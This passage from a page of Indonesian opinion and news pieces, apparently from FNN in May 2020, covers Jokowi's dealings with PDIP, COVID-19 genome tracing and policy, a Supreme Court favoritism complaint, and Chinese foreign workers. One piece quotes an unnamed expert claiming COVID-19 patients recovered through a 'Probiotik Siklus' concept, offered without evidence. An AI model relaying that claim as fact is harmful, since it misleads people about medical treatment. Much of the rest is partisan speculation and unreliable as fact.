ada pada posisi ‘nothing to lose’ --posisi tanpa beban. Dia tak perlu lagi memikirkan dukungan PDIP. Toh, Jokowi tidak bisa mencalonkan diri lagi menjadi presiden pada 2024. Seandainya pun Banteng keluar dari koalisi Indonesia Kerja, tidak masalah bagi pemerintahan Jokowi. Koalisi Jokowi-Luhut tidak akan goyang. Jokowi tak perlu mengkhawatirkan dukungan politik di parlemen selama 4 tahun ke depan. PDIP tak mungkin melakukan manuver untuk menggoyang Jokowi sebelum selesai periode kedua. Bu Mega tak akan berani. Besar risikonya. Pertama, manuver untuk menggoyang Jokowi belum tentu didukung oleh kekuatan-kekuatan politik lain. Bisa-bisa PDIP akan dipermalukan. Sendirian menggoyang Jokowi. Dan itu ‘mustahil’ bisa tembus. Tidak ada jaminan partai-partai lain mau ikut. Sebab, sejarah mencatat hampir semua parpol hanya memikirkan diri dan misinya sendiri. Kedua, kalau PDIP dan Bu Mega nekat menggoyang Jokowi, mereka akan dianggap merongrong demokrasi. PDIP akan dilihat sebagai musuh demokrasi. Bisa menjadi catatan buruk. Ketiga, kalau PDIP dan Bu Mega mencoba melengserkan Jokowi, mereka akan dikutuk sebagai partai yang membahayakan kehidupan berbangsa dan bernegara. Ini tak mungkin dilakukan PDIP. Mereka adalah partai besar yang harus memberikan keteladanan berpolitik. Jadi, Luhut dan Jokowi paham betul ketidakberdayaan PDIP saat ini. Itulah sebabnya, Jokowi ‘cuek’ saja mengambil kebijakan yang tak menyenangkan Bu Mega dan PDIP. Duet Jokowi-Luhut tahu persis bahwa Bu Mega tidak akan bisa berbuat apa-apa. Karena itu, harus diakui kehebatan strategi Pak Luhut dalam mengawal dan mengarahkan Pak Jokowi. Bu Mega dan PDIP bisa digiring ke posisi ‘gigit jari’ sambil dongkol tetapi dipaksa untuk tetap mendukung Jokowi.[] 6 Mei 2020(Penulis wartawan senior)

Tidak Kenal Karakter Musuh, Gagal Fokus Perangi Virus Corona!

Oleh Mochamad Toha Jakarta, FNN - Pemerintah China menilai penanganan wabah Virus Corona di Indonesia sudah dilakukan secara komprehensif. Atas dasar itu mereka meyakini Indonesia bisa secepat mungkin memenangkan pertarungan melawan epidemi. “Di bawah kepemimpinan Presiden Joko Widodo yang kuat, pemerintah Indonesia telah menerapkan kebijakan secara komprehensif dan menanggapi wabah secara ampuh,” kata Dubes Xiao Qian, seperti dilansir CNNIndonesia.com, Rabu (6/5/2020 07:18 WIB). Menurut dia, masyarakat Indonesia menunjukkan tekad dan keyakinan kuat untuk mengatasi epidemi. Kata dia, hal itu juga memperkuat keyakinan China, Indonesia sesegera mungkin mengatasi epidemi dan memulihkan tatanan ekomomi dan sosial yang normal. Pandemi corona memang membawa dampak luas di berbagai sektor. Demi bertahan dalam tekanan ekonomi imbas wabah Virus Corona Atau Covid-19, beberapa perusahaan terpaksa mengambil kebijakan yang tidak menguntungkan pekerja. Sementara itu, hingga Rabu (6/5/2020) jumlah pasien positif Virus Corona atau Covid-19 di Indonesia mencapai 12.438 orang, pasien meninggal mencapai 895 orang, dan pasien sembuh sebanyak 2.317 orang. Virus corona mulai merebak sejak akhir 2019 di Kota Wuhan, Provinsi Hubei, China. Virus itu kemudian menyebar ke penjuru negeri dan bahkan lintas negara. Melansir data dari laman Worldometers, total kasus Covid-19 di dunia terkonfirmasi sebanyak 3.719.899 (3,7 juta) kasus hingga Rabu (6/5/2020) pagi. Dari jumlah tersebut, sebanyak 1.235.817 (1,2 juta) pasien telah berhasil sembuh, dan 257.747 orang meninggal dunia. Kasus aktif hingga saat ini tercatat sebanyak 2.226.335 dengan rincian 2.177.007 pasien dengan kondisi ringan dan 49.328 dalam kondisi serius. Perjalanan Corona yang menyerang Indonesia ini diungkap oleh Lembaga Biologi Molekuler Eijkman yang berhasil menelusuri perjalanan dari tiga sampel Virus Corona atau Covid-19 yang menyerang Indonesia. Melansir Viva.co.id, Selasa (5 Mei 2020 | 18:40 WIB), dari hasil penelusuran itu terungkap bahwa tiga sampel Virus Corona semuanya berasal dari China. Dalam keterangan resminya melalui akun Facebook yang dikutip Viva.co.id, Selasa (5 Mei 2020), Lembaga Biologi Molekuler Eijkman menceritakan secara detail kisah penelusuran para ahli mereka untuk menemukan asal muasal Virus Corona di Indonesia. “Jadi 3 sampel virus di Indonesia berasal dari mana?” tulis Lembaga Biologi Molekuler Eijkman mengawali kisahnya. “Lembaga Biologi Molekuler Eijkman telah men-submit 3 sekuens full genome dari virus SARS-COV-2 pada pasien Indonesia, dengan ID: EIJK2444; EIJK0141; dan EIJK0317, ke portal GISAID. Data sekarang sudah available dan bisa diakses siapa saja, asal sudah mendaftar di GISAID ya. Lantas, mudah saja untuk diketahui 3 sampel tersebut berasal dari mana transmisinya, jika sekuens Indonesia sudah di tangan, dan belasan ribu sekuens pembanding lainnya juga tersedia. Tapi karena saya malas men-download semuanya itu, jadi saya memfilter analisis global dari Institusi/Organisasi lain untuk melihat asal-muasal sampel Indonesia. Organisasi tersebut bernama Nextstrain yang sudah sangat baik mengkurasi data dari GISAID, menganalisis, dan memvisualisasikannya. Kudos to Nexstrain! Jadi, dari 3 sampel tersebut, secara evolusi, semua transmisinya berasal dari China, sama kayak manusia modern, berasal dari Afrika tapi, bukan dari China. Kemudian virus dari China bermigrasi, dan berevolusi sepanjang migrasinya, sepanjang lompatan dari satu host ke host lainnya. Sama kayak manusia. Terus berevolusi. Tapi bedanya, virus berevolusi jauh lebih cepat dibanding manusia. Menariknya ada 2 grup (clade) besar, "grup" Asia dan Eropa, yang berevolusi secara paralel di kedua grup tersebut. Grup tersebut ditandai oleh diferensiasi mutasi asam amino pada protein ORF1B (open reading frame) pada posisi asam amino 314, juga pada protein S (spike) pada posisi asam amino 614. Ketiga sampel Indonesia berada di "grup" Asia. Ini menarik, protein S terdiferensiasi secara regional. Pasti ada fungsi yang berpengaruh. Tapi saya lihat gen ACE2 di dunia kok enggak berbeda ya. Ini untuk diteliti lebih jauh oleh virolog Indonesia. Anyway, namun sekali lagi, semua berasal dari China ya. Nah. Dari 3 sampel virus tersebut, mengalami kisah perjalanan yang berbeda: Untuk sampel EIJK2444, virus berasal dari Jepang. Awalnya berjalan dari China, menuju Australia, dan Jepang. Dan akhirnya di Indonesia. Pada akhirnya, virus ID EIJK2444 memiliki mutasi asam amino pada protein S posisi 76, dari Threonine menjadi Isoleucine. Untuk sampel EIJK0317, virus berasal dari United Arab Emirates. Awalnya berjalan dari China, menuju UK, kemudian US, United Arab Emirates, dan berakhir di Indonesia. Pada akhirnya, virus ID EIJK0317 memiliki mutasi asam amino pada protein ORF1a posisi 461 dari Isoleucine menjadi Valine. Untuk sampel EIJK0141, virus berasal dari US. Awalnya berjalan dari China, menuju UK, kemudian US, dan berakhir di Indonesia. Pada akhirnya virus ID EIJK0141 memiliki mutasi asam amino pada protein ORF1a posisi 2103 dari Serine menjadi Phenilalanine. Begitulah kisahnya. Menariknya, ketiga virus di Indonesia tersebut tidak (atau belum?) menjadi source bagi mutasi virus lainnya di negara lain. Setelahnya hanya terjadi pada transmisi lokal. Akan dilihat pada sekuens-sekuens baru dari sampel Indonesia. Selain itu, semua mutasi kunci virus di Indonesia ini bersifat non-synonymous. Perlu dipelajari bagaimana mutasi ini berakibat pada struktur protein virus tersebut dan fungsinya. Apakah mengubah fungsi atau tidak. Dan ini serem siy. Mutasi fungsi jika lajunya cepat, bisa susah ditangani. Tapi, para virolog di Lembaga Biologi Molekuler Eijkman bisa menganalisisnya”. Kisah perjalanan Virus Corona dari China menuju Indonesia ini disebutkan dirangkum oleh Pradiptajati Kusuma salah satu peneliti postdoctoral LBM Eijkman di bidang evolusi dan genetika populasi. Dia telah dengan baik merangkum cerita perjalanan virus SARS-CoV-2 dari analisis yang dilakukan di Nextstrain. Penjelasan yang diberikan, menunjukan salah satu manfaat kita telah melakukan perunutan genom dari tiga isolat tersebut. Gagal Fokus Menurut pendapat seorang pakar, hari ini, mayoritas manusia di seluruh dunia “gagal fokus sehingga menjadi paranoid”. Mengapa gagal fokus? Pertama, mayoritas belum mengetahui siapa sebenarnya “musuhnya, dan bagaimana karakter musuhnya”. Semuanya masih meraba-raba, sehingga yang dilakukannya serba meraba-raba. Kedua, mayoritas ahli berbagai disiplin ilmu itu fokus pada akibat dari keberadaan musuhnya itu, bukan pada musuhnya. Misalnya, mereka melakukan berbagai protokol, obat ini-itu sampai menyiapkan sekian banyak sarana dan prasarana untuk mengantisipasi akibat dari keberadaan musuh tersebut. Karena gagal fokus itulah, sehingga menjadi paranoid. Mengapa menjadi paranoid, karena: Pertama, karakter musuhnya berubah-ubah, yang semula diidentifikasi mampu menyebar lewat droplet Infectious disease, ternyata dapat menular melalui udara (airborne infectious disease) . Kedua, belum diketahui protokol obat yang “pasti” untuk si musuh tersebut. Maka hal itu bisa dimaklumi kalau di beberapa instansi, membuat berbagai kebijakan sebagai bentuk-bentuk kewaspadaan, sampai ada yang menyatakan berlebihan. Harap dimaklumi, karena semuanya juga ingin selamat dari serangan si musuh yang disebut Virus Corona tersebut, termasuk para nakes, sebagai prajurit infanteri dalam menghadapi si Covid-19 ini. Kita mungkin bisa menghindari kontak langsung dengan orang-orang OTG, ODP, PDP, atau orang yang sakit lainnya. Tetapi karena “tugas mulia”-nya, mereka harus berdekatan dengan OTG, ODP, PDP, dan semua penderita lainnya. Yang perlu kita lakukan, memahami perilaku-perilaku yang seolah-olah berlebihan ini, yang barangkali itu secara normatif hal yang tidak biasa. Jadilah kita manusia-manusia yang luar biasa. Yang mampu melakukan dan bersikap dewasa. Padahal, sudah banyak pasien positif Covid-19 yang sembuh dengan konsep Probiotik Siklus (PS). Apa hubungannya dengan PS? Andai banyak pihak menerima konsep PS, yang dengan konsep ini, musuhnya jelas, perilakunya jelas, maka tidak akan ada kehebohan sehebat ini. “Saya meyakini, bisa membantu menyelesaikan dalam waktu yang relatif lebih cepat, dan mampu meminimalisir kehebohan dan semua dampak negatifnya,” ujar pakar mikroba ini. Insya’ Allah, pada saatnya, kalau Allah SWT sudah mengijinkannya. Penulis Wartawan Senior

Mudik dan Pulang Kampung Boleh, PSBB Ambyaaarrrr

Oleh Hersubeno Arief Jakarta, FNN – Kalau ada lomba dan pemilihan pemerintah mana yang paling percaya diri (pede) menghadapi pandemi Covid-19? Indonesia bakal masuk nominasi sebagai jawara. Menolak melakukan lockdown. Memberi stigma penganjur dan pendukung lockdown sebagai agenda kelompok anti pemerintah. Kemudian memilih opsi Pembatasan Sosial Berskala Besar (PSBB), namun tiba-tiba saja mengumumkan relaksasi. Alasannya pertimbangan ekonomi. Terhitung Kamis (7/5) semua moda transportasi diperbolehkan kembali beroperasi. Mudik ataupun pulang kampung semua diperbolehkan. Dengan embel-embel “dengan kepentingan mendesak dan mematuhi protokol Covid-19” “Jangan dibuat dikotomi, “ kata Menhub Budi Karya Sumadi yang baru saja sembuh dari Covid-19. Wajar bila dua orang akademisi dari Australia Jonatan A Lassa dan Miranda Booth sebelumnya mensejajarkan gaya kepemimpinan Jokowi dengan Presiden AS Trump, PM Inggris Boris Johnson, dan Presiden Brazil Jair Bolsonoro. Keempat orang itu disebut sebagai populis leader. Pemimpin populis yang kebijakannya menghadapi pandemi mempunyai tiga ciri utama: Optimistic bias, Leadership ambiguity, Ignorance for science. Bias optimistik, kepemimpinan yang ambigu, dan abai, tak peduli dengan ilmu pengetahuan. Trump menolak lockdown, bahkan berseteru dengan beberapa gubernur negara bagian yang mengambil kebijakan lockdown. Johnson semula mencoba menerapkan strategi herd immunity (kelompok kebal) dan terlambat melakukan lockdown. Dia sendiri kemudian terkena Covid-19, sampai masuk ICU. Bolsonoro lebih edan lagi. Dia ikut turun ke jalan bersama para penentang lockdown, berpidato di depan publik tanpa mengenakan masker. Mendorong rakyatnya untuk kembali bekerja, dan tanpa takut bersalaman dengan para pendukungnya. Hasilnya seperti sama-sama kita ketahui, AS kini menjadi negara dengan jumlah terinfeksi dan meninggal tertinggi di dunia. Situs Worldometer mencatat per 6 Mei korban tewas sebanyak 72.271. Jumlah korban meninggal dunia di Inggris sudah menyalip Italia dan Spanyol. Angkanya tembus 29.427. Sementara Brazil menjadi negara dengan jumlah korban tewas tertinggi di Amerika Latin. Total 7. 958 orang. Bagaimana dengan Indonesia?Sejauh ini Alhadulillah jumlah korban yang terinfeksi, maupun meninggal dunia termasuk cukup rendah. Dari total 12,071 positif, tercatat 872 orang meninggal dunia. Sungguh ajaib! Sayangnya banyak yang meragukan akurasi data tersebut. Baik pengamat di dalam dan luar negeri tidak yakin-yakin amat dengan angka-angka yang dipaparkan oleh pemerintah. Jumlah korban sesungguhnya, baik yang terinfeksi maupun meninggal dunia, diduga jauh lebih besar. Hal itu disebabkan rendahnya mereka yang menjalani test, serta banyak korban meninggal dunia yang tidak terdiagnosa. Keraguan yang cukup masuk akal. Masih menggunakan data dari Worldometer, sampai saat ini Indonesia baru melakukan test sebanyak 121.547 orang. Dibandingkan dengan jumlah populasi penduduk Indonesia, hanya sekitar 444 orang dari setiap 1 juta orang. Mari kita bandingkan dengan negara lain, terutama negara tetangga. Singapura dengan penduduk hanya sekitar 5,6 juta orang, sudah melakukan test sebanyak 143.919. Rasionya 24.600/juta. Malaysia telah melakukan test terhadap 213.220 orang, atau 26.848/juta. Australia sebanyak 684.615/juta. Sementara Vietnam yang mencatat zero case, alias tidak ada kematian telah melakukan test sebanyak 261,004 orang atau 2.681/juta. Negara-negara tetangga ini jumlah penduduknya jauh lebih kecil dibandingkan Indonesia. Namun mereka melakukan test jauh lebih banyak, baik secara jumlah maupun dengan rasio penduduknya. Fokus ekonomi Jika kita mencermati semua kebijakan pemerintahan Jokowi, langkah melonggarkan moda transportasi itu tak terlalu mengagetkan. Sejak awal pemerintah terkesan tidak menganggap serius ancaman Covid-19. Mengangap enteng, nantangin. Mereka lebih cenderung memikirkan dampak ekonomi ketimbang dampak bencana kesehatan. Mulai dari sikap pemerintah yang tetap melanjutkan pembangunan ibukota baru. Aliran masuk TKA Cina. Kontroversi mudik dan pulang kampung dari Presiden Jokowi. Keinginan dari Menko Luhut Panjaitan agar kawasan wisata Ancol, Jakarta dapat dibuka pada saat lebaran, sampai relaksasi mudik. Alasan Kemenhub, berdasarkan masukan dari Kemenko Perekonomian pelarangan mudik dikhawatirkan akan mempengaruhi roda perekonomian nasional. Pemerintah tampaknya cukup pede karena pada awal Mei data baru penderita Corona di Jakarta mulai turun. Pemerintah pusat tutup mata dan telinga atas masukan dari berbagai kalangan. Mulai dari kalangan medis, sampai para kepala daerah agar jangan sampai ada relaksasi. Jangan over pede dan terburu-buru melonggarkan PSBB. Turunnya jumlah yang terinfeksi, selain PSBB juga dikarenakan banyak warga yang mengambil langkah melakukan lockdown di rumah, sukarela tanpa jaminan dari pemerintah. Peringatan itu benar adanya. Selasa (5/5) jumlah penderita di DKI Jakarta kembali meningkat. Di beberapa daerah juga terjadi lonjakan. Di Bali ditemukan satu kampung yang positif Corona. Jumlahnya tidak tanggung-tanggung. 443 orang. Di Surabaya malah ditemukan sebuah kluster baru penyebaran Covid-19. Ratusan pekerja di pabrik rokok PT Sampoerna harus dikarantina. Dua orang meninggal dunia, dan puluhan lainnya positif Corona. Relaksasi mudik. Membebaskan seluruh moda transportasi darat, laut, dan udara, kendati dengan embel-embel “kepentingan mendesak dan memenuhi protokol Covid-19, ” dikhawatirkan akan membuat warga lengah. Merasa aman dan tidak lagi berhati-hati. Dampak dari pembebasan ini —apapun embel-embelnya— akan membuat kerja keras para kepala daerah yang telah menerapkan PSBB, menjadi sia-sia. Semuanya ambyaarrr karena Indonesia memiliki pemimpin yang bias optimistik, kepemipinannya ambigu (tak jelas, kabur, dan ragu-ragu), abai dan tidak peduli dengan ilmu pengetahuan. Ampuuunnnn deh. End Penulis Wartawan Senior.

Akankah Terjadi Gejolak Sosial Yang Besar?

By Tony Rosyid Jakarta FNN – Rabu (06/05). Berarawal dari kasus penistaan agama yang melibatkan Ahok, gejolak sosial itu lahir. Meski Ahok kalah di pilgub DKI dan divonis dua tahun penjara, gejolak sosial tak juga surut. Gelombangnya justru makin besar jelang dan pasca pilpres. Kelompok kontra Ahok merasa mendapat perlakuan tak adil. Pilpres jadi ajang perlawanan mereka. Sayangnya, tak sukses. Kecurangan jadi isu utama. Banyak kasus yang menurut mereka dianggap ganjil. Mulai dari keterlibatan aparat, hilangnya kotak suara, adanya intimidasi, situng KPU yang bermasalah, hingga kematian 894 petugas pemilu. (Kompas 22/1). Pasca pemilu, negeri ini diwarnai protes. Demonstrasi telah menelan sejumlah korban. Tidak saja luka, tapi beberapa meninggal. Kabarnya, ada ratusan orang dipenjara. Sebagian besar pemimpin dan tokoh sentralnya jadi tersangka. Gejolak sosial melandai setelah penguasa berhasil memotong garis komando. Dan nyaris hilang setelah Prabowo, calon pemimpin mereka bergabung dengan penguasa. Kelompok kontra Ahok makin terpinggir. Kekalahan ini juga menyisakan kekecewaan yang demikian mendalam. Medsos jadi ajang pengungkapan, sekaligus perlawanan mereka. Menarik jika kita mencermat apa yang menjadi faktor kekalahan itu. Pertama, salah pilih calon. Kedua, tak mampu mengukur strategi lawan. Curang... Curang... Curang.... Pertanyaannya, mana ada pemilu yang nggak curang? Dari dulu, incumbent ya curang. Ini terjadi di semua rezim. Ada yang silent, ada yang terang-terangan. Tahu itu, kenapa nggak siapin strategi. Kalau nggak siap hadapi kecurangan, ya jangan bertarung. Tapi, itu sudah berlalu. Di arena pertarungan, jika salah satu ada yang kalah, kompetisi berakhir. Otomatis juga, gejolak sosial pun melambat dan akhirnya berhenti juga. Sebagian tetap dengan idealismenya dan memilih jadi oposisi. Sebagian yang lain bergabung dengan penguasa. “Oportunis”, teriak mereka terhadap kawannya yang memilih untuk bergabung. Yang kasihan, sudah bergabung, bahkan mati-matian membela, nggak dapat posisi apa-apa. Ya, risiko sebuah pilihan. Nama baik rusak, jatah nggak dapat. Setelah terbebas dari perlawanan oposisi, penguasa dihadapkan pada masalah baru. Kasus di Jiwasraya dan Asabri terbongkar. Sejumlah BUMN bangkrut. Protes terjadi dimana-mana. Hanya karena protesnya tak terkonsolidasi, maka tak punya pengaruh secara politik. Secara teoritis, transformasi politik hanya akan terjadi jika rakyat kecewa, dan kekecewaan itu terkonsolidasi dalam protes dan perlawanan bersama. Selama ini, penguasa selalu berhasil memotong proses konsolidasi tersebut, sehingga tak sempat jadi perlawanan yang besar. Peristiwa yang tergolong agak rawan saat ini adalah Pandemi Covid-19. Bukan soal pernyataan yang nyeleneh dari para menteri. Bukan keterlambatan pemerintah dalam menangani covid-19. Bukan pula amburadulnya data penerima bantuan yang diprotes para kepala desa di Sukabumi. Bukan itu. Apalagi cuma kasus dugaan adanya korupsi di program pra kerja. Itu mah kecil. Nggak ngaruh. Belasan, bahkan puluihan triliun rupiah kasus di Jiwasraya dan Asabri saja lewat. Gejolak besar kemungkinan bisa terjadi justru di dampak ekonomi akibat pandemi covid-19. Nampak sekali pemerintah sangat hati-hati. Menolak lockdown, namun mendatangkan TKA dari China, membuka kembali jalur transportasi, darat maupun udara. Pemerintah sadar, jika ekonomi megap-megap, bisa kelar. Sebelum itu terjadi, lakukan pengendalian. Akibatnya, nyawa rakyat berpotensi jadi taruhan. Jakarta melandai, pindah ke Semarang, Surabaya dan Makassar. Dibukanya kembali transportasi saat ini bisa berakibat memperlama masa pandemi. Perlu ada relaksasi PSBB, kata Mahfud MD. Orang kalau di rumah terus imunnya bisa turun, kata Luhut Binsar Panjaitan. Bahkan Luhut mengusulkan tempat-tempat wisata untuk dibuka kembali. Sebenarnya, tempat wisata itu urusan Kementerian Pariwisata atau Menko Maritim ya? Ingat, itu ada hubungannya dengan investasi. Luhut juga menteri urusan investasi. Jadi, jangan salah praduga. Semua kementerian ada hubungannya dengan investasi. Semua presiden, siapapun dia, jika krisis ekonomi tak terkendali, tumbang juga. Sebab, semua rakyat merasakan lapar, dan saat itu tak lagi ada dikotomi pendukung atau bukan pendukung. Apalagi soal politik, istri lapar dan suami nggak bisa ngasih makan saja, pasti minta cerai. Kelaparan mengakibatkan gejolak sosial. Saat itulah hampir seluruh rakyat akan kehilangan kepercayaan kepada pemimpinnya. Jika ini terjadi, maka transformasi politik tak bisa dibendung lagi. Karena itu, pemerintah harus super hati-hati soal yang ini. Terus melakukan pengendalian ekonomi. Bagi pemerintah, nampaknya ini jadi prioritas utama. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Ketika Mahkamah Agung Dituding Tebang Pilih

Jakarta, FNN - Benteng keadilan Mahkamah Agung sedang mendapat sorotan dari pencari keadilan. Adalah Ario Widi Prasetyo, pengacara Hery Susanto Gun alias Abun yang merasa geram diperlakukan oleh lembaga tersebut. Karenanya ia meminta Mahkamah Agung Republik Indonesia untuk bersikap adil dalam menangani masalah hukum bagi rakyat Indonesia. Ario melihat Mahkamah Agung melakukan tindakan pilih kasih dalam menyelesaiakan kasus, di mana salah satu kliennya mengalaminya. “Kami mengalami dua kali ketidakadilan Mahkamah Agung, pertama, klien kami yang tadinya bebas di tingkat Pengadilan Negeri, justru dipenjara 6 tahun di tingkat kasasi. Padahal terdakwa yang lain dengan kasus yang sama diputus bebas. Kedua, PK yang kami ajukan terlalu lama diproses, padahal ada terdakwa lain yang mengajukan belakangan, diproses lebih awal,” katanya kepada wartawan, Selasa (05/05) di Jakarta. Ario menjelaskan bahwa Hery Susanto Gun alias Abun, adalah kilennya, seorang pengusaha asal Kalimantan Timur yang kasusnya disidangkan di Pengadilan Negeri Samarinda, dimana Majelis Hakim telah menyatakan bahwa Hery Susanto Gun dan terdakwa lainnya, Noor Asriansyah tidak terbukti bersalah melakukan perbuatan tindak pidana pemerasan. Jaksa Penuntut Umum menjerat Hery Susanto Gun dan Noor Asriansyah dengan Pasal 368 KUHP dan/atau Tindak Pidana Pencucian Uang sebagaimana dimaksud dalam Pasal 3, Pasal 4, Pasal 5 UU No. 8 Tahun 2010 tentang Tindak Pidana Pencucian Uang dan atau Pasal 11, Pasal 12 e UU No. 31 Tahun 1999. Keduanya diproses dalam persidangan secara bersama-sama namun berkas perkaranya berbeda yang akhirnya dinyatakan bebas murni. Putusan bebas murni ini kata Ario membuat Jaksa Penuntut Umum mengajukan upaya hukum Kasasi kepada Mahkamah Agung RI. Ario mencatat, dalam proses pemeriksaan di tingkat kasasi, ternyata terjadi keanehan secara hukum, dimana Mahkamah Agung RI telah memutus perkara Herry Susanto Gun dan Noor Asriansyah dengan putusan yang berbeda, yaitu Hery Susanto Gun diputus bersalah dan dihukum 6 tahun penjara, denda Rp 6.000.000.000,- subsider 4 bulan; Sedangkan Noor Asriansyah diputus bebas atau Mahkamah Agung RI sependapat dengan Putusan Pengadilan Negeri Samarinda. Padahal kedua perkara tersebut disidangkan secara bersama-sama dengan fakta hukum yang sama, namun dengan nomor berkas yang berbeda. Selain keanehan di atas, masih ada keanehan lain yaitu perkara Hery Susanto Gun sebetulnya hanya merupakan kasus parkir yang nyata-nyata telah mendapatkan izin dari walikota, dan bahkan telah membayar pajak ke Pemda. Lahan parkirnya pun milik Hery Susanto Gun sendiri. Ario menegaskan Hery Susanto Gun harus menunggu 2 tahun untuk mendapatkan Putusan Kasasi tersebut, dimana selama 2 tahun menunggu, Herry Susanto harus memperjuangkan haknya untuk mendapatkan Salinan Putusan Kasasi, yaitu dengan mengirimkan surat kepada Ketua Mahkamah Agung RI yang ditembuskan kepada Ketua Ombusman, Ketua Komisi Yudisial, Ketua Komisi III DPR RI serta juga kepada Presiden RI. Setelah Herry Susanto mengirimkan surat-surat tersebut, ia baru bisa mendapatkan Salinan Putusan Kasasi. Ario menegaskan bahwa setelah mendapatkan salinan putusan Kasasi, Hery Susanto Gun mengajukan upaya hukum Peninjauan Kembali pada tanggal 21 Agustus 2019. Upaya ini diperkuat oleh Pengadilan Negeri Samarinda yang telah melakukan pengiriman berkas perkara permohonan PK kepada MA RI sebagaiman surat pengiriman Pengadilan Negeri Samarinda No.w18-UI/8216/PID.01.6/Dll/2019 tertanggal 5 Desember 2019, perihal pengiriman berkas perkara pidana PK no.1/PK/Pid 8 /2019/PN Samarinda atas nama Hery Susanto Gun alias Abun. Sayangnya sampai saat ini Mahkamah Agung RI belum mengeluarkan nomor perkara Permohonan PK Herry Susato Gun. Hal tersebut bertolak belakang dengan salah satu kasus yaitu kasus Japar, yang sama sama pernah diputus oleh Pengadilan Negeri Samarinda. Japar baru mengajukan Permohonan Peninjauan Kembali pada bulan Februari 2020, yaitu tepatnya 3 bulan setelah Pengadilan Negeri Samarinda mengirimkan berkas permohonan PK Herry Susanto Gun. Ternyata Mahkamah Agung RI telah memutus terlebih dahulu permohonan Peninjauan Kembali yang diajukan oleh Japar. Sementara sampai saat ini Hery Susanto Gun belum mendapatkan kabar apapun atas permohonan PK yang diajukan sejak tanggal 21 Agustus 2019. Ario lantas berkirim surat kepada Ketua Mahkamah RI tanggal 22 Maret 2020, namun dikarenakan tidak mendapatkan tanggapan, kemudian pada tanggal 10 April 2020, Ario mengirimkan surat ke-2 kepada Mahkamah Agung RI, perihal: permohonan informasi atas perkembangan perkara PK Nomor.1/PK/PId.B/2019/ PN.Samarinda atas nama Hery Susanto Gun alias Abun. Surat tersebut ditembuskan kepada 7 instansi, yaitu Ketua Kamar Pidana MA, Ketua Badan Pengawas MA, Ketua Komisi Yudisial, Ketua Ombusman, Ketua Komisi III DPR RI, bahkan juga kepada Presiden Ri., Ir. H. Joko Widodo. Atas perlakuan ini Ario menanyakan prosedur penanganan di Mahkamah Agung RI, yang terkesan pilih kasih? Apakah ada mafia peradilan di Mahakamh Agung RI? Mengapa bisa terjadi prioritas penanganan masalah di lembaga tertinggi hukum Mahkamah Agung RI tersebut? Ario mensinyalir masih ada penegak hukum yang tidak mengindahkan pesan Presiden Jokowi dalam pidatonya di Sentul beberapa waktu yang lalu, dimana Presiden mengingatkan kepada Penegak Hukum untuk menjalankan tugas dengan sebaik baiknya, tidak mengigit orang yang benar dan tidak pura-pura salah gigit. Presiden juga mengingatkan agar penegak hukum tidak menggigit pejabat dan pengusaha yang sedang berinovasi untuk kemajuan bangsa. Sikap Mahkamah Agung yang pilih kasih terhadap terdakwa dialami juga oleh pengacara senior OC Kaligis. Ia kesal terhadap Hakim Agung Artidjo Alkostar yang telah memperberat hukumannya menjadi 10 tahun penjara pada tingkat kasasi di Mahkamah Agung (MA). Ia membandingkan hukuman dirinya dengan sejumlah terpidana kasus korupsi lainnya, seperti Moh Yagari Bhastara yang Cuma divonis 2 tahun. Awalnya OC Kaligis dihukum 5,5 tahun penjara dan diperberat di tingkat banding menjadi tujuh tahun penjara. Namun di tingkat kasasi, hukumannya justru diperberat menjadi 10 tahun penjara oleh majelis hakim agung diketuai Artidjo Alkostar. Kaligis mengajukan PK dan hukuman dikurangi 3 tahun. Kini Kaligis mengajukan PK kedua dengan harapan mendapatkan putusan bebas. Komisi Yudisial Republik Indonesia, melalui juru bicaranya, Farid Wajdi mengapresiasi langkah yang dilakukan Mahkamah Agung yang memecat Ketua Pengadilan Negeri Tembilahan, Indragiri Hilir (inhil), usai mengeluarkan surat minta Tunjangan Hari Raya (THR) ke pengusaha beberapa waktu lalu. Namun Farid mewanti-wanti, dalam pemberlakuan perlakuan hendaknya tidak tebang pilih, siapapun orangnya di jajaran Mahkamah Agung, mulai dari hakim, panitera, sekretariat, tidak boleh pilih kasih atau privilege tertentu yang diberikan. (sws)

Soal 500 TKA China, Mengapa Presiden Diam?

By Dr. Margarito Kamis Kekuatan uang memangsa negara pada masa damai, dan berkonspirasi melawan pemerintah pada masa sulit. Kekuatan ini lebih lalim dibandingkan monarki. Lebih biadab dibandingkan otokrasi. Lebih egois dibandingkan birokrasi. (Abraham Lincoln, Presiden Amerika 1861-1868). Jakarta FNN – Selasa (05/05). Tenaga Kerja Asing (TKA) asal China datang. Meraka akan datang lagi, dengan berbagai alasan. Heboh dan heboh lagi. Dan Presiden Jokowi, seperi biasa, diam. Presiden memang boleh punya kalkulasi sendiri, tetapi Presiden dilarang membuat dunia sendiri. Presiden boleh mati-matian menggelorakan investasi, sehingga uang, uang dan uang mengalir masuk, tetapi Presiden tidak boleh terasing dari UUD 1945. Itu penting untuk dipahami. Tetapi entah mengapa sejauh ini Presiden, terus-terusan membisu. Diam sediam-diamnya. Presiden selaksa menghilang dari isu TKA asal China. Dalam isu ini, Presiden seolah berada di dunia lain. Dunia ciptaannya sendiri. Apa yang ditakutkankan oleh Presdien? Apakah Presiden tidak berdaya menghadapi Presiden Xi Jingpin, atau Thungsian, investor smelter asal China itu? Presiden dapat diduga tak diganggu ketaktuan hebat. Sungkan atau apapun yang sejenisnya pada Presiden Xi Jingpin. Juga tidak takut dan sungkan pada Tshinghan Group (investor China) atau PT Victoria Dragon Nickel Industri Park (VDNIP). Juga kepada PT. Osidian Stenless Steel di Kendari. Karena tak diganggu oleh ketakutan itu, maka Presiden hanya perlu jujur “sedikit saja”. Menjelaskan apa kehebatan mereka. Presiden jujur “sedikit saja” akan terasa lebih dari cukup. Sesedikit apapun itu, membuka masalah sebenarnya kepada rakyat. Akan ditandai bahwa Presiden memenuhi kewajiban transparansi dalam penyelenggaraan pemerintahan. Dunia telah begitu terbuka. Informasi yang terkubur hari ini, akan terbuka pada hari lain. Selalu begitu. Dititk itu, terasa membuka informasi seterang mungkin mengenai korporasi-korporasi, termasuk yang kemungkinan mereka berhasil menempatkan orang penting mereka. Bukan sebagai jongos, tetapi penghubung di dalam pemerintahan. Bicaralah Pak Presiden. Dimanapun di dunia ini, Presiden harus terus bicara menghenai masalah bangsa. Presiden bicara itu menjadi pekerjaan. Hal yang biasa, sebiasa kerbau bernafas dilakukan Presiden. Jadi, Pak Presiden bicaralah. Ruang yang ada saat ini, sepenuhnya bersifat kebangsaan. Ruang ini dipenuhi kembang dan panorama 